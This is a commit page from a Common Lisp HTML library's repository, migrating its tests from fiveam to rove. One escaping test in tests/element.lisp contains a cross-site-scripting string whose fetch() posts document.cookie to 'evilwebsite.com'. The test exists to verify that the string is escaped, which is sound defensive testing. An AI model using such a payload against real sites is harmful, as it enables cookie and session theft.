paku/hsx
1
0
Fork 0
Code Issues Pull requests Projects Releases 1 Packages Wiki Activity Actions

Migrate testing framework from fiveam to rove (#18)

Browse source 
* Migrate testing framework from fiveam to rove

* Fix qlfile
This commit is contained in:
paku 2024-09-29 02:10:25 +09:00 committed by GitHub
parent 5945e52207
commit a071924927
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
8 changed files with 185 additions and 231 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

16
hsx-test.asd
View file

@ -1,13 +1,9 @@
(defsystem "hsx-test" (defsystem "hsx-test"
:defsystem-depends-on ("fiveam-asdf") :class :package-inferred-system
:class :package-inferred-fiveam-tester-system
:pathname "tests" :pathname "tests"
:depends-on ("hsx-test/element" :depends-on ("rove"
"hsx-test/hsx" "hsx-test/element"
"hsx-test/escaper" "hsx-test/escaper"
"hsx-test/group") "hsx-test/group"
:test-names ((#:element-test . #:hsx-test/element) "hsx-test/hsx")
(#:hsx-test . #:hsx-test/hsx) :perform (test-op (o c) (symbol-call :rove :run c :style :dot)))
(#:escaper-test . #:hsx-test/escaper)
(#:group-test . #:hsx-test/group))
:num-checks 44)

3
qlfile
View file

@ -1,3 +1,4 @@
ql fiveam-asdf
ql alexandria ql alexandria
ql mstrings ql mstrings
github rove fukamachi/rove
github dissect Shinmera/dissect ; workaround

12
qlfile.lock
View file

@ -2,10 +2,6 @@
(:class qlot/source/dist:source-dist (:class qlot/source/dist:source-dist
:initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest) :initargs (:distribution "https://beta.quicklisp.org/dist/quicklisp.txt" :%version :latest)
:version "2023-10-21")) :version "2023-10-21"))
("fiveam-asdf" .
(:class qlot/source/ql:source-ql
:initargs (:%version :latest)
:version "ql-2023-10-21"))
("alexandria" . ("alexandria" .
(:class qlot/source/ql:source-ql (:class qlot/source/ql:source-ql
:initargs (:%version :latest) :initargs (:%version :latest)
@ -14,3 +10,11 @@
(:class qlot/source/ql:source-ql (:class qlot/source/ql:source-ql
:initargs (:%version :latest) :initargs (:%version :latest)
:version "ql-2023-10-21")) :version "ql-2023-10-21"))
("rove" .
(:class qlot/source/github:source-github
:initargs (:repos "fukamachi/rove" :ref nil :branch nil :tag nil)
:version "github-cacea7331c10fe9d8398d104b2dfd579bf7ea353"))
("dissect" .
(:class qlot/source/github:source-github
:initargs (:repos "Shinmera/dissect" :ref nil :branch nil :tag nil)
:version "github-a70cabcd748cf7c041196efd711e2dcca2bbbb2c"))

2
src/element.lisp
View file

@ -49,7 +49,7 @@
;;;; factory ;;;; factory
(defun create-element (type props children) (defun create-element (type props children)
(make-instance (make-instance
(cond ((functionp type) 'component) (cond ((functionp type) 'component)
((eq type :<>) 'fragment) ((eq type :<>) 'fragment)
((eq type :html) 'html-tag) ((eq type :html) 'html-tag)

271
tests/element.lisp
View file

@ -1,145 +1,143 @@
(defpackage #:hsx-test/element (defpackage #:hsx-test/element
(:use #:cl (:use #:cl
#:fiveam #:rove
#:hsx/element) #:hsx/element)
(:import-from #:named-readtables (:import-from #:named-readtables
#:in-readtable) #:in-readtable)
(:import-from #:mstrings (:import-from #:mstrings
#:mstring-syntax)) #:mstring-syntax))
(in-package #:hsx-test/element) (in-package #:hsx-test/element)
(in-readtable mstring-syntax) (in-readtable mstring-syntax)
(def-suite element-test) (deftest tag-test
(in-suite element-test) (testing "element-class"
(ok (typep (create-element :div nil nil) 'tag))
(ok (typep (create-element :html nil nil) 'html-tag))
(ok (typep (create-element :img nil nil) 'self-closing-tag))
(ok (typep (create-element :style nil nil) 'non-escaping-tag))
(ok (typep (create-element :<> nil nil) 'fragment))
(ok (typep (create-element (lambda ()) nil nil) 'component))
(ok (signals (create-element "div" nil nil))))
(test element-class (testing "flatten-children"
(is (typep (create-element :div nil nil) 'tag)) (let* ((elm (create-element :p
(is (typep (create-element :html nil nil) 'html-tag)) nil
(is (typep (create-element :img nil nil) 'self-closing-tag)) (list "a"
(is (typep (create-element :style nil nil) 'non-escaping-tag)) nil
(is (typep (create-element :<> nil nil) 'fragment)) (list "b" (list nil "c"))
(is (typep (create-element (lambda ()) nil nil) 'component)) (cons "d" "e")))))
(signals error (create-element "div" nil nil))) (ok (equal (list "a" "b" "c" "d" "e") (element-children elm)))))
(test flatten-children (testing "empty-element"
(let* ((elm (create-element :p (ok (string= "<div></div>"
nil (render-to-string (create-element :div nil nil)))))
(list "a"
nil (testing "element-with-props"
(list "b" (list nil "c")) (ok (string= "<div prop1=\"value1\" prop2></div>"
(cons "d" "e"))))) (render-to-string (create-element :div
(is (equal (list "a" "b" "c" "d" "e") (element-children elm))))) (list :prop1 "value1"
:prop2 t
(test empty-element :prop3 nil)
(is (string= "<div></div>" nil)))))
(render-to-string (create-element :div nil nil)))))
(testing "element-with-children"
(test element-with-props (ok (string= "<p>foo</p>"
(is (string= "<div prop1=\"value1\" prop2></div>" (render-to-string (create-element :p
(render-to-string (create-element :div nil
(list :prop1 "value1" (list "foo"))
:prop2 t :pretty t)))
:prop3 nil) (ok (string= #M"<p>
nil)))))
(test element-with-children
(is (string= "<p>foo</p>"
(render-to-string (create-element :p
nil
(list "foo"))
:pretty t)))
(is (string= #M"<p>
\ <span>foo</span> \ <span>foo</span>
</p>" </p>"
(render-to-string (create-element :p (render-to-string (create-element :p
nil nil
(list (create-element :span (list (create-element :span
nil nil
(list "foo")))) (list "foo"))))
:pretty t))) :pretty t)))
(is (string= #M"<p> (ok (string= #M"<p>
\ foo \ foo
\ <span>bar</span> \ <span>bar</span>
</p>" </p>"
(render-to-string (create-element :p (render-to-string (create-element :p
nil nil
(list "foo" (list "foo"
(create-element :span (create-element :span
nil nil
(list "bar")))) (list "bar"))))
:pretty t)))) :pretty t))))
(test element-with-props-and-children (testing "element-with-props-and-children"
(is (string= "<p prop1=\"value1\" prop2>foo</p>" (ok (string= "<p prop1=\"value1\" prop2>foo</p>"
(render-to-string (create-element :p (render-to-string (create-element :p
(list :prop1 "value1" (list :prop1 "value1"
:prop2 t :prop2 t
:prop3 nil) :prop3 nil)
(list "foo")) (list "foo"))
:pretty t))) :pretty t)))
(is (string= #M"<p prop1=\"value1\" prop2> (ok (string= #M"<p prop1=\"value1\" prop2>
\ foo \ foo
\ <span>bar</span> \ <span>bar</span>
</p>" </p>"
(render-to-string (create-element :p (render-to-string (create-element :p
(list :prop1 "value1" (list :prop1 "value1"
:prop2 t :prop2 t
:prop3 nil) :prop3 nil)
(list "foo" (list "foo"
(create-element :span (create-element :span
nil nil
"bar"))) "bar")))
:pretty t)))) :pretty t))))
(testing "self-closing-tag"
(test self-closing-tag (ok (string= "<img src=\"/background.png\">"
(is (string= "<img src=\"/background.png\">" (render-to-string (create-element :img
(render-to-string (create-element :img (list :src "/background.png")
(list :src "/background.png") nil)
nil) :pretty t))))
:pretty t))))
(testing "escaping-tag"
(test escaping-tag (ok (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(is (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>" (render-to-string
(render-to-string (create-element :div
(create-element :div nil
nil (list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))))))
(testing "non-escaping-tag"
(test non-escaping-tag (ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>" (render-to-string
(render-to-string (create-element :script
(create-element :script nil
nil "alert('<< Do not embed user-generated contents here! >>')")))))
"alert('<< Do not embed user-generated contents here! >>')")))))
(testing "fragment"
(test fragment (let ((frg (create-element :<>
(let ((frg (create-element :<> nil
nil (list (create-element :li
(list (create-element :li nil
nil (list "bar"))
(list "bar")) (create-element :li
(create-element :li nil
nil (list "baz"))))))
(list "baz")))))) (ok (string= #M"<li>bar</li>
(is (string= #M"<li>bar</li>
<li>baz</li>" <li>baz</li>"
(render-to-string frg :pretty t))) (render-to-string frg :pretty t)))
(is (string= #M"<ul> (ok (string= #M"<ul>
\ <li>foo</li> \ <li>foo</li>
\ <li>bar</li> \ <li>bar</li>
\ <li>baz</li> \ <li>baz</li>
\ <li>brah</li> \ <li>brah</li>
</ul>" </ul>"
(render-to-string (create-element :ul (render-to-string (create-element :ul
nil nil
(list (create-element :li (list (create-element :li
nil nil
(list "foo")) (list "foo"))
frg frg
(create-element :li (create-element :li
nil nil
(list "brah")))) (list "brah"))))
:pretty t))))) :pretty t))))))
(defun comp1 (&key prop children) (defun comp1 (&key prop children)
(create-element :div (create-element :div
@ -147,26 +145,12 @@
(list prop (list prop
children))) children)))
(test component-accepting-keyword-args
(let ((elm (expand-component (create-element #'comp1
'(:prop "value")
(list "child")))))
(is (eq :div (element-type elm)))
(is (equal (list "value" "child") (element-children elm)))))
(defun comp2 (&rest props) (defun comp2 (&rest props)
(create-element :div (create-element :div
nil nil
(list (getf props :prop) (list (getf props :prop)
(getf props :children)))) (getf props :children))))
(test component-accepting-property-list
(let ((elm (expand-component (create-element #'comp2
'(:prop "value")
(list "child")))))
(is (eq :div (element-type elm)))
(is (equal (list "value" "child") (element-children elm)))))
(defun comp3 (&rest props &key prop children &allow-other-keys) (defun comp3 (&rest props &key prop children &allow-other-keys)
(create-element :div (create-element :div
nil nil
@ -174,9 +158,24 @@
children children
(getf props :other-key)))) (getf props :other-key))))
(test component-accepting-keyword-args-and-property-list (deftest component-test
(let ((elm (expand-component (create-element #'comp3 (testing "component-accepting-keyword-args"
'(:prop "value" :other-key "other") (let ((elm (expand-component (create-element #'comp1
(list "child"))))) '(:prop "value")
(is (eq :div (element-type elm))) (list "child")))))
(is (equal (list "value" "child" "other") (element-children elm))))) (ok (eq :div (element-type elm)))
(ok (equal (list "value" "child") (element-children elm)))))
(testing "component-accepting-property-list"
(let ((elm (expand-component (create-element #'comp2
'(:prop "value")
(list "child")))))
(ok (eq :div (element-type elm)))
(ok (equal (list "value" "child") (element-children elm)))))
(testing "component-accepting-keyword-args-and-property-list"
(let ((elm (expand-component (create-element #'comp3
'(:prop "value" :other-key "other")
(list "child")))))
(ok (eq :div (element-type elm)))
(ok (equal (list "value" "child" "other") (element-children elm))))))

20
tests/escaper.lisp
View file

@ -1,16 +1,14 @@
(defpackage #:hsx-test/escaper (defpackage #:hsx-test/escaper
(:use #:cl (:use #:cl
#:fiveam #:rove
#:hsx/escaper)) #:hsx/escaper))
(in-package #:hsx-test/escaper) (in-package #:hsx-test/escaper)
(def-suite escaper-test) (deftest escaper-test
(in-suite escaper-test) (testing "escape-html-attribute"
(ok (string= "&quot;foo&quot;"
(test escape-html-attribute (escape-html-attribute "\"foo\""))))
(is (equal "&quot;foo&quot;"
(escape-html-attribute "\"foo\"")))) (testing "escape-html-text-content"
(ok (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;"
(test escape-html-text-content (escape-html-text-content "&<>\"'/`=")))))
(is (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;"
(escape-html-text-content "&<>\"'/`="))))

14
tests/group.lisp
View file

@ -1,16 +1,14 @@
(defpackage #:hsx-test/group (defpackage #:hsx-test/group
(:use #:cl (:use #:cl
#:fiveam #:rove
#:hsx/group)) #:hsx/group))
(in-package #:hsx-test/group) (in-package #:hsx-test/group)
(def-suite group-test)
(in-suite group-test)
(defgroup fruit (defgroup fruit
apple banana orange) apple banana orange)
(test defgroup (deftest group-test
(is (hash-table-p *fruit*)) (testing "defgroup"
(is (fruit-p :apple)) (ok (hash-table-p *fruit*))
(is (not (fruit-p :tomato)))) (ok (fruit-p :apple))
(ng (fruit-p :tomato))))

78
tests/hsx.lisp
View file

@ -1,6 +1,6 @@
(defpackage #:hsx-test/hsx (defpackage #:hsx-test/hsx
(:use #:cl (:use #:cl
#:fiveam #:rove
#:hsx/hsx #:hsx/hsx
#:hsx/builtin) #:hsx/builtin)
(:import-from #:hsx/element (:import-from #:hsx/element
@ -8,62 +8,20 @@
#:element-children)) #:element-children))
(in-package #:hsx-test/hsx) (in-package #:hsx-test/hsx)
(def-suite hsx-test) (deftest hsx-test
(in-suite hsx-test) (testing "find-symbols"
(ok (expands
(test find-symbols '(hsx (div '(:div "div")
(is (equal '(hsx/builtin:div '(:div "div") div
div (div
(hsx/builtin:div 'div
'div (div)
(hsx/builtin:div) :div)
:div) "div"))
"div") '(hsx/builtin:div '(:div "div")
(macroexpand-1 div
'(hsx (div '(:div "div") (hsx/builtin:div
div 'div
(div (hsx/builtin:div)
'div :div)
(div) "div")))))
:div)
"div"))))))
(test empty-hsx
(let ((elm (div)))
(is (null (element-props elm)))
(is (null (element-children elm)))))
(test hsx-with-static-props
(let ((elm (div :prop1 "value1" :prop2 "value2")))
(is (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm)))
(is (null (element-children elm)))))
(test hsx-with-dynamic-props
(let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (div props)))
(is (equal props (element-props elm)))
(is (null (element-children elm)))))
(test hsx-with-children
(let ((elm (div
"child1"
"child2")))
(is (null (element-props elm)))
(is (equal (list "child1" "child2") (element-children elm)))))
(test hsx-with-static-props-and-children
(let ((elm (div :prop1 "value1" :prop2 "value2"
"child1"
"child2")))
(is (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm)))
(is (equal (list "child1" "child2") (element-children elm)))))
(test hsx-with-dynamic-props-and-children
(let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (div props
"child1"
"child2")))
(is (equal props (element-props elm)))
(is (equal (list "child1" "child2") (element-children elm)))))